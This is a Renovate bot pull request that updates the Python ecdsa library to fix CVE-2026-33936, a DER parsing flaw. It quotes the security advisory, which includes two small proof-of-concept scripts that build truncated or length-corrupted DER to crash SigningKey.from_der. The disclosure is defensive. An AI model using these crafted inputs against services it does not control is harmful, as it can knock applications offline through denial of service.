Skip to content

chore(deps): update dependency ecdsa to v0.19.2 [security]#192

Open
renovate[bot] wants to merge 1 commit intodevfrom
renovate/pypi-ecdsa-vulnerability
Open

chore(deps): update dependency ecdsa to v0.19.2 [security]#192
renovate[bot] wants to merge 1 commit intodevfrom
renovate/pypi-ecdsa-vulnerability

Conversation

@renovate
Copy link
Copy Markdown
Contributor

@renovate renovate bot commented Mar 27, 2026

This PR contains the following updates:

Package Change Age Confidence
ecdsa ==0.19.1==0.19.2 age confidence

GitHub Vulnerability Alerts

CVE-2026-33936

Summary

An issue in the low-level DER parsing functions can cause unexpected exceptions to be raised from the public API functions.

  1. ecdsa.der.remove_octet_string() accepts truncated DER where the encoded length exceeds the available buffer. For example, an OCTET STRING that declares a length of 4096 bytes but provides only 3 bytes is parsed successfully instead of being rejected.

  2. Because of that, a crafted DER input can cause SigningKey.from_der() to raise an internal exception (IndexError: index out of bounds on dimension 1) rather than cleanly rejecting malformed DER (e.g., raising UnexpectedDER or ValueError). Applications that parse untrusted DER private keys may crash if they do not handle unexpected exceptions, resulting in a denial of service.

Impact

Potential denial-of-service when parsing untrusted DER private keys due to unexpected internal exceptions, and malformed DER acceptance due to missing bounds checks in DER helper functions.

Reproduction

Attach and run the following PoCs:

poc_truncated_der_octet.py

from ecdsa.der import remove_octet_string, UnexpectedDER

# OCTET STRING (0x04)

# Declared length: 0x82 0x10 0x00  -> 4096 bytes
# Actual body: only 3 bytes -> truncated DER
bad = b"\x04\x82\x10\x00" + b"ABC"

try:
    body, rest = remove_octet_string(bad)
    print("[BUG] remove_octet_string accepted truncated DER.")
    print("Declared length=4096, actual body_len=", len(body), "rest_len=", len(rest))
    print("Body=", body)
    print("Rest=", rest)
except UnexpectedDER as e:
    print("[OK] Rejected malformed DER:", e)
  • Expected: reject malformed DER when declared length exceeds available bytes
  • Actual: accepts the truncated DER and returns a shorter body
  • Example output:
Parsed body_len= 3 rest_len= 0 (while declared length is 4096)

poc_signingkey_from_der_indexerror.py

from ecdsa import SigningKey, NIST256p
import ecdsa

print("ecdsa version:", ecdsa.__version__)

sk = SigningKey.generate(curve=NIST256p)
good = sk.to_der()
print("Good DER len:", len(good))

def find_crashing_mutation(data: bytes):
    b = bytearray(data)

    # Try every OCTET STRING tag position and corrupt a short-form length byte
    for i in range(len(b) - 4):
        if b[i] != 0x04:  # OCTET STRING tag
            continue

        L = b[i + 1]
        if L >= 0x80:
            # skip long-form lengths for simplicity
            continue

        max_possible = len(b) - (i + 2)
        if max_possible <= 10:
            continue

        # Claim more bytes than exist -> truncation
        newL = min(0x7F, max_possible + 20)
        b2 = bytearray(b)
        b2[i + 1] = newL

        try:
            SigningKey.from_der(bytes(b2))
        except Exception as e:
            return i, type(e).__name__, str(e)

    return None

res = find_crashing_mutation(good)
if res is None:
    print("[INFO] No exception triggered by this mutation strategy.")
else:
    i, etype, msg = res
    print("[BUG] SigningKey.from_der raised unexpected exception type.")
    print("Offset:", i, "Exception:", etype, "Message:", msg)
  • Expected: reject malformed DER with UnexpectedDER or ValueError
  • Actual: deterministically triggers an internal IndexError (DoS risk)
  • Example output:
Result: (5, 'IndexError', 'index out of bounds on dimension 1')

Suggested fix

Add “declared length must fit buffer” checks in DER helper functions similarly to the existing check in remove_sequence():

  • remove_octet_string()
  • remove_constructed()
  • remove_implicit()

Additionally, consider catching unexpected internal exceptions in DER key parsing paths and re-raising them as UnexpectedDER to avoid crashy failure modes.

Credit

Mohamed Abdelaal (@​0xmrma)


Configuration

📅 Schedule: Branch creation - "" (UTC), Automerge - At any time (no schedule defined).

🚦 Automerge: Disabled by config. Please merge this manually once you are satisfied.

Rebasing: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about this update again.


  • If you want to rebase/retry this PR, check this box

This PR was generated by Mend Renovate. View the repository job log.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

0 participants